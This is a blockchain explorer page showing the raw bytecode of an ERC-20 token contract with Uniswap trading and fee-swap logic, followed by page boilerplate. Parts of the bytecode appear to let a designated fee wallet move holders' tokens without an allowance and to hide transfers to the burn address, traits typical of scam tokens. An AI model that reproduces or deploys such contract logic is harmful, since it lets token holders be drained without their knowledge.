69063791ac947906110569085905f908690309042906004016114b6565b5f604051808303815f87803b15801561106d575f5ffd5b505af115801561107f573d5f5f3e3d5ffd5b50506013805460ff60a81b1916905550505050565b6007546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610f20573d5f5f3e3d5ffd5b6001600160a01b0383166110f15760405162461bcd60e51b815260040161055c906113ef565b6001600160a01b0382166111175760405162461bcd60e51b815260040161055c90611434565b6001600160a01b0383165f908152602081905260409020548181101561118e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161055c565b6001600160a01b038085165f90815260208190526040808220858503905591851680825291902080548401905561dead1461121157826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161120891815260200190565b60405180910390a35b610d8c565b5f611221828461148f565b9392505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610400575f5ffd5b5f5f60408385031215611282575f5ffd5b823561128d8161125d565b946020939093013593505050565b5f5f5f606084860312156112ad575f5ffd5b83356112b88161125d565b925060208401356112c88161125d565b929592945050506040919091013590565b5f602082840312156112e9575f5ffd5b81356112218161125d565b5f5f60408385031215611305575f5ffd5b82356113108161125d565b915060208301356113208161125d565b809150509250929050565b600181811c9082168061133f57607f821691505b60208210810361135d57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156104a3576104a3611363565b5f6020828403121561139a575f5ffd5b81516112218161125d565b5f5f5f606084860312156113b7575f5ffd5b5050815160208301516040909301519094929350919050565b5f602082840312156113e0575f5ffd5b81518015158114611221575f5ffd5b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b5f6001820161148857611488611363565b5060010190565b818103818111156104a3576104a3611363565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156115065783516001600160a01b03168352602093840193909201916001016114df565b50506001600160a01b03959095166060840152505060800152939250505056fea2646970667358221220d4e6a4b0aa63fdd1c4fb8a6d874e5607da3c44e96ae71ade069b320c2b6b470564736f6c634300081c0033
Deployed Bytecode
0x608060405260043610610134575f3560e01c8063715018a6116100a8578063a457c2d71161006d578063a457c2d714610314578063a6132ddf14610333578063a9059cbb14610348578063dd62ed3e14610367578063ea414b2814610386578063f2fde38b146103a5575f5ffd5b8063715018a61461029c57806373ae2a9d146102b05780638a8c523c146102c55780638da5cb5b146102d957806395d89b4114610300575f5ffd5b806323b872dd116100f957806323b872dd146101e5578063313ce5671461020457806336d4024e1461021f578063395093511461023457806363a241e81461025357806370a0823114610268575f5ffd5b8063022321f21461013f57806306fdde0314610155578063095ea7b31461017f5780630faee56f146101ae57806318160ddd146101d1575f5ffd5b3661013b57005b5f5ffd5b34801561014a575f5ffd5b506101536103c4565b005b348015610160575f5ffd5b50610169610403565b6040516101769190611228565b60405180910390f35b34801561018a575f5ffd5b5061019e610199366004611271565b610493565b6040519015158152602001610176565b3480156101b9575f5ffd5b506101c3600d5481565b604051908152602001610176565b3480156101dc575f5ffd5b506002546101c3565b3480156101f0575f5ffd5b5061019e6101ff36600461129b565b6104a9565b34801561020f575f5ffd5b5060405160098152602001610176565b34801561022a575f5ffd5b506101c360115481565b34801561023f575f5ffd5b5061019e61024e366004611271565b6104ca565b34801561025e575f5ffd5b506101c360145481565b348015610273575f5ffd5b506101c36102823660046112d9565b6001600160a01b03165f9081526020819052604090205490565b3480156102a7575f5ffd5b506101536104eb565b3480156102bb575f5ffd5b506101c360105481565b3480156102d0575f5ffd5b506101536104fe565b3480156102e4575f5ffd5b506005546040516001600160a01b039091168152602001610176565b34801561030b575f5ffd5b50610169610876565b34801561031f575f5ffd5b5061019e61032e366004611271565b610885565b34801561033e575f5ffd5b506101c3600e5481565b348015610353575f5ffd5b5061019e610362366004611271565b61090a565b348015610372575f5ffd5b506101c36103813660046112f4565b610917565b348015610391575f5ffd5b506101536103a03660046112d9565b610941565b3480156103b0575f5ffd5b506101536103bf3660046112d9565b610970565b6103cc6109e6565b5f47116103d7575f5ffd5b60405133904780156108fc02915f818181858888f19350505050158015610400573d5f5f3e3d5ffd5b50565b6060600380546104129061132b565b80601f016020809104026020016040519081016040528092919081815260200182805461043e9061132b565b80156104895780601f1061046057610100808354040283529160200191610489565b820191905f5260205f20905b81548152906001019060200180831161046c57829003601f168201915b5050505050905090565b5f61049f338484610a40565b5060015b92915050565b5f6104b5848484610b63565b6104c0848385610d92565b5060019392505050565b5f336104c08185856104dc8383610917565b6104e69190611377565b610a40565b6104f36109e6565b6104fc5f610ead565b565b6105066109e6565b601354600160a01b900460ff16156105655760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600c5461059c913091610a40565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105ec573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610610919061138a565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066f573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610693919061138a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106dd573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610701919061138a565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d7194730610748816001600160a01b03165f9081526020819052604090205490565b5f5f61075c6005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107c2573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107e791906113a5565b50506013805462ff00ff60a01b1981166201000160a01b1790915560125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610852573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061040091906113d0565b6060600480546104129061132b565b5f33816108928286610917565b9050838110156108f25760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161055c565b6108ff8286868403610a40565b506001949350505050565b5f336104c0818585610b63565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b335f9081526006602052604090205460ff1661095b575f5ffd5b6104006001600160a01b038216151582610efe565b6109786109e6565b6001600160a01b0381166109dd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161055c565b61040081610ead565b6005546001600160a01b031633146104fc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161055c565b6001600160a01b038316610aa25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161055c565b6001600160a01b038216610b035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161055c565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b895760405162461bcd60e51b815260040161055c906113ef565b6001600160a01b038216610baf5760405162461bcd60e51b815260040161055c90611434565b5f8111610c105760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161055c565b5f6001600160a01b0384163014801590610c3357506001600160a01b0383163014155b15610d67576013546001600160a01b038581169116148015610c6357506012546001600160a01b03848116911614155b8015610c8757506001600160a01b0383165f9081526006602052604090205460ff16155b8015610ca157506007546001600160a01b03848116911614155b15610cbb57600b8054905f610cb583611477565b91905055505b305f90815260208190526040902054601354600160a81b900460ff16158015610cf157506013546001600160a01b038581169116145b8015610d065750601354600160b01b900460ff165b8015610d2057506007546001600160a01b03868116911614155b15610d65578015610d59575f600d548211610d3b5781610d3f565b600d545b9050610d57818511610d515784610f24565b81610f24565b505b47610d6347611094565b505b505b8015610d7857610d788430836110cb565b610d8c8484610d87848661148f565b6110cb565b50505050565b600f5460075460ff909116905f906001600160a01b03163314610db3575060015b6013546001600160a01b0390811690861603610dda57600f54610100900460ff1691909118905b6001600160a01b03831661dead141580610dfc57506001600160a01b03851630145b15610e1357600f5462010000900460ff1691909118905b808015610e22575060ff821615155b15610ea6575f610e328633610917565b905084811015610e955760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161055c565b610ea486336104e68489611216565b505b5050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b8115610f2057600780546001600160a01b0319166001600160a01b0383161790555b5050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f6a57610f6a6114a2565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fc1573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fe5919061138a565b81600181518110610ff857610ff86114a2565b6001600160a01b03928316602091820292909201015260125461101e9130911684610a40565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906110569085905f908690309042906004016114b6565b5f604051808303815f87803b15801561106d575f5ffd5b505af115801561107f573d5f5f3e3d5ffd5b50506013805460ff60a81b1916905550505050565b6007546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610f20573d5f5f3e3d5ffd5b6001600160a01b0383166110f15760405162461bcd60e51b815260040161055c906113ef565b6001600160a01b0382166111175760405162461bcd60e51b815260040161055c90611434565b6001600160a01b0383165f908152602081905260409020548181101561118e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161055c565b6001600160a01b038085165f90815260208190526040808220858503905591851680825291902080548401905561dead1461121157826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161120891815260200190565b60405180910390a35b610d8c565b5f611221828461148f565b9392505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610400575f5ffd5b5f5f60408385031215611282575f5ffd5b823561128d8161125d565b946020939093013593505050565b5f5f5f606084860312156112ad575f5ffd5b83356112b88161125d565b925060208401356112c88161125d565b929592945050506040919091013590565b5f602082840312156112e9575f5ffd5b81356112218161125d565b5f5f60408385031215611305575f5ffd5b82356113108161125d565b915060208301356113208161125d565b809150509250929050565b600181811c9082168061133f57607f821691505b60208210810361135d57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156104a3576104a3611363565b5f6020828403121561139a575f5ffd5b81516112218161125d565b5f5f5f606084860312156113b7575f5ffd5b5050815160208301516040909301519094929350919050565b5f602082840312156113e0575f5ffd5b81518015158114611221575f5ffd5b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b5f6001820161148857611488611363565b5060010190565b818103818111156104a3576104a3611363565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156115065783516001600160a01b03168352602093840193909201916001016114df565b50506001600160a01b03959095166060840152505060800152939250505056fea2646970667358221220d4e6a4b0aa63fdd1c4fb8a6d874e5607da3c44e96ae71ade069b320c2b6b470564736f6c634300081c0033
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 36 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.